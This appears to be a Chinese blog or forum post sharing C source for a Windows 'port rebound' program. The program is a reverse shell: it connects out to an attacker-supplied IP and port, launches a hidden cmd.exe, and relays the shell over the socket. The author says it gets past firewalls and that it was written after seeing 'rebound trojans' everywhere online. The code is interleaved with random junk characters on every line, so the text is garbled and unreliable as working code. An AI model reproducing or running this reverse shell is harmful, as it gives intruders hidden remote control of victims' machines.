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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;$iT]S  
#1%@R<`  
/* ============================== ^# $IoW  
Rebound port in Windows NT []A9j ?_w  
By wind,2006/7 Z)|~  
===============================*/ aLg,-@  
#include 4C`RxQJM  
#include kx(beaf  
1;/SXJ s  
#pragma comment(lib,"wsock32.lib") ^(TCUY~f&  
J920A^)j!  
void OutputShell(); gg`{kN^r.a  
SOCKET sClient; pl>b 6 |  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O H>.N"IG  
Z@euO~e~  
void main(int argc,char **argv) 'b.jKkW7  
{ %$ya>0?mq  
WSADATA stWsaData; b*Qd9  
int nRet; 0hoMf=bb$  
SOCKADDR_IN stSaiClient,stSaiServer; d`= ~8`  
1vo3aF  
if(argc != 3) =u2~=t=LV  
{ |>(Vo@  
printf("Useage:\n\rRebound DestIP DestPort\n"); Wq3PN^  
return; KRxJ2  
} ?>+uO0*S  
={xRNNUj_  
WSAStartup(MAKEWORD(2,2),&stWsaData); ) r.Wge  
Y)k"KRW+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OFr"RGW"  
Q qF<HCO  
stSaiClient.sin_family = AF_INET; d9JAt-6z2  
stSaiClient.sin_port = htons(0); RP2$(%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7D<Aa?cv_l  
"=Z=SJ1D  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h~Ir= JV  
{ <*J"6x  
printf("Bind Socket Failed!\n"); @rT$}O1?`  
return; F2zo !a8  
} `mcb0  
Ei:m@}g  
stSaiServer.sin_family = AF_INET; K-]) RIM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WblH}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #om Gj&  
M%:\ry4:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >q;| dn9  
{ uB+#<F/c  
printf("Connect Error!"); GOxP{d?  
return; }uMu8)Q  
} =EVB?k ,  
OutputShell(); RK@K>)"f  
} o%Q9]=%!  
$|7"9W}m*  
void OutputShell() C)m@/w  
{ r4u ,I<ZbH  
char szBuff[1024]; nrE.0Ue1  
SECURITY_ATTRIBUTES stSecurityAttributes; b6S"&hs  
OSVERSIONINFO stOsversionInfo; @8c@H#H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rWWp P<  
STARTUPINFO stStartupInfo; @wD#+Oz  
char *szShell; O)^F z:  
PROCESS_INFORMATION stProcessInformation; \GHj_r  
unsigned long lBytesRead; k @fxs]Y_L  
)r"R  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z<|x6%  
@B0fRG y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @8\0@[]  
stSecurityAttributes.lpSecurityDescriptor = 0; ,8DC9yM,  
stSecurityAttributes.bInheritHandle = TRUE; W ~MNst?  
0>m$e(Z  
alRz@N  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v"2A?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MX*4d{l  
A PSkW9H  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,&,XcbJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9/8+R%  
stStartupInfo.wShowWindow = SW_HIDE; V9ZM4.,OCN  
stStartupInfo.hStdInput = hReadPipe; ?ZTA3mV?+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i= ^6nwD&  
nd\$Y  
GetVersionEx(&stOsversionInfo); &iD&C>;pf  
6a9:P@tY  
switch(stOsversionInfo.dwPlatformId) }cUO+)!Y  
{ jKcl{',  
case 1: }`Wo(E}O  
szShell = "command.com"; @=g{4(zR ^  
break; DCa=o  
default: \|vo@E  
szShell = "cmd.exe"; p}~Sgi  
break; V,zFHXO  
}  ~9YEb  
?pQ0* O0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 86KK Y2  
%*q^i}5)E  
send(sClient,szMsg,77,0); vx$DKQK@l\  
while(1) yEB#*}K?  
{ j<WsFVS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I7h v'3u  
if(lBytesRead) pQZ`dS\  
{ !`H!!Kg0L  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c;KMox/  
send(sClient,szBuff,lBytesRead,0); ,WsG,Q(K  
} guCCu2OTA%  
else OGH,K'l  
{ g9Dynm5  
lBytesRead=recv(sClient,szBuff,1024,0); q(EN]W],  
if(lBytesRead<=0) break; Ta3* G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y x66Xy  
} o=![+g  
} L09r|g4Z  
N:KM8PZ&~  
return; hw`pi6  
}
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